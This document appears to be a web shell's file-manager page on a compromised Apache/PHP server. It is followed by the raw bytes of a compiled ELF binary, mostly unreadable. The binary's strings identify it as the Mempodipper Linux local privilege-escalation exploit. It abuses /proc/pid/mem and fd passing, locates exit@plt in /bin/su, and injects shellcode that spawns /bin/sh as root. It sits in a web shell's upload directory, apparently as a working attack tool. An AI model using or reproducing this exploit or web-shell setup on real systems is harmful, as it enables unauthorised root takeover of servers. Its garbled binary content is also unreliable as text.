|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @ 0; @ 8
@ @ @ @ q q , < < 0 8 , < < 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd # # # D D Qtd Rtd , < < /lib64/ld-linux-x86-64.so.2 GNU GNU #)?XrCO [n GNU em - N u % b ~ g U h ? } & \ n G " __cxa_finalize fgets connect getpid sendmsg __libc_start_main strtoul socket unlink memset execl puts pclose strstr strncpy sprintf recvmsg bind fork dup2 listen perror accept lseek64 popen __stack_chk_fail libc.so.6 GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ii
ui < < @ @ @ @ ? ? ? ? ? ? ? ? ? ? (? 0? 8?
@? H? P?
X? `? h? p? x? ? ? ? ? ? ? ? ? ? ? ? HH/ HtH 5. %. h h h h h h h h q h a h Q h
A h 1 h ! h
h h h h h h h h h h q h a h Q h A %
. D %- D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %, D %}, D %u, D %m, D %e, D %], D %U, D %M, D %E, D %=, D %5, D 1I^HHPTE11H= , f. H=A, H:, H9tH+ Ht H=, H5
, H)HH?HHHtH+ Htf D =+ u+UH=+ Ht H=+ yd+ ] w UHH dH%( HE1 y
Hpn HfDžp H
+ HpHJk HHHpn HΉy
E HEH HDž( H08 HH H@HDžH HEHPHDžX HXHv HP HHH H@ H@ HHP H0 HΉHcH(H9t< HUdH+%( t UHH dH%( HE1 y
Hpn HfDžp H-) HpHJk HHH ) HHp n HΉy
Z gy
: y
HEH HDž( H08 HHDž0 Dž8 H H@HDžH HEHPHDžX H0 HΉ ye uUHXHv HP HHH HUdH+%( t UHH \HPdH%( HE1\ HPHH <- HPHH H <c HPHHHH
HHǸ HHH HǸ H HǸ hll yH Hj lH HǸ l x H H>H H/H H H HH H
pB H H ttH HǸ t yH Hw tH HǸ t \~ZHPHH <-uEHPHH H <ou,HPHH HHx HV HHd HH] HHƅ HH H HHH HtHxHxt
Hx uDHB HJHPHHPH HHl HǸ _ @ HxHH| HǸ 7H HHn HH HHƅ HH H&HHHHb HHHH)HHxH+HHHH9 HǸ zHt HΉNHH1iHH1j@HHH@!HH//bin/HHHshHSHHH1f-HHHiSHH1HPQWHH1HHDžҰ;fDž H HtH HH HH HǸ kpHH
m HHǸ 1HZ HHPH HA HHV HHO HǸ HUdH+%( t HH /tmp/.sockpuppet /proc/%s/mem [+] Opening parent mem %s in child.
[-] open [+] Sending fd %d to parent.
=============================== = Mempodipper = = by zx2c4 = = Jan 21, 2012 = ===============================
[+] Waiting for transferred fd in parent. [+] Received fd at %d.
[-] recv_fd [+] Assigning fd %d to stderr.
[+] Reading su for exit@plt. r objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/' [-] Could not resolve /bin/su. Specify the exit@plt function address manually. [-] Usage: %s -o ADDRESS
[-] Example: %s -o 0x402178
[+] Resolved exit@plt to 0x%lx.
[+] Calculating su padding. su this-user-does-not-exist 2>&1 this-user-does-not-exist [+] Seeking to offset 0x%lx.
[+] Executing su with shellcode. su /bin/su %d [+] Executing child from child fork. -c /proc/self/exe ;D x H X ` zR x & D $ 4 FJ w ?:*3$" \ t EC
8 EC
/ EC
@
d < < o
@ > o o x o o 0 o < 0 @ P ` p 0 @ P ` p @ GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0 3 @ I @ U < | < $ < # >
1 @ M a r @ @ d
@ & @ 3 B o 8 J ] @ & b @ n @ , F X " s y Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry poc.c __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 unlink@GLIBC_2.2.5 strncpy@GLIBC_2.2.5 _ITM_deregisterTMCloneTable sendmsg@GLIBC_2.2.5 puts@GLIBC_2.2.5 getpid@GLIBC_2.2.5 _edata socket_path _fini __stack_chk_fail@GLIBC_2.4 dup2@GLIBC_2.2.5 send_fd pclose@GLIBC_2.2.5 memset@GLIBC_2.2.5 fgets@GLIBC_2.2.5 __data_start __gmon_start__ __dso_handle _IO_stdin_used recv_fd listen@GLIBC_2.2.5 _end __bss_start recvmsg@GLIBC_2.2.5 main bind@GLIBC_2.2.5 popen@GLIBC_2.2.5 perror@GLIBC_2.2.5 accept@GLIBC_2.2.5 strtoul@GLIBC_2.2.5 sprintf@GLIBC_2.2.5 connect@GLIBC_2.2.5 __TMC_END__ lseek64@GLIBC_2.2.5 _ITM_registerTMCloneTable execl@GLIBC_2.2.5 __cxa_finalize@GLIBC_2.2.5 _init fork@GLIBC_2.2.5 strstr@GLIBC_2.2.5 socket@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o $ a i @ q o 0 0 B ~ o x x @ B
d d
# # D # # < , < , < , > . @ 0 @ 0 0 0 + H0 `6 :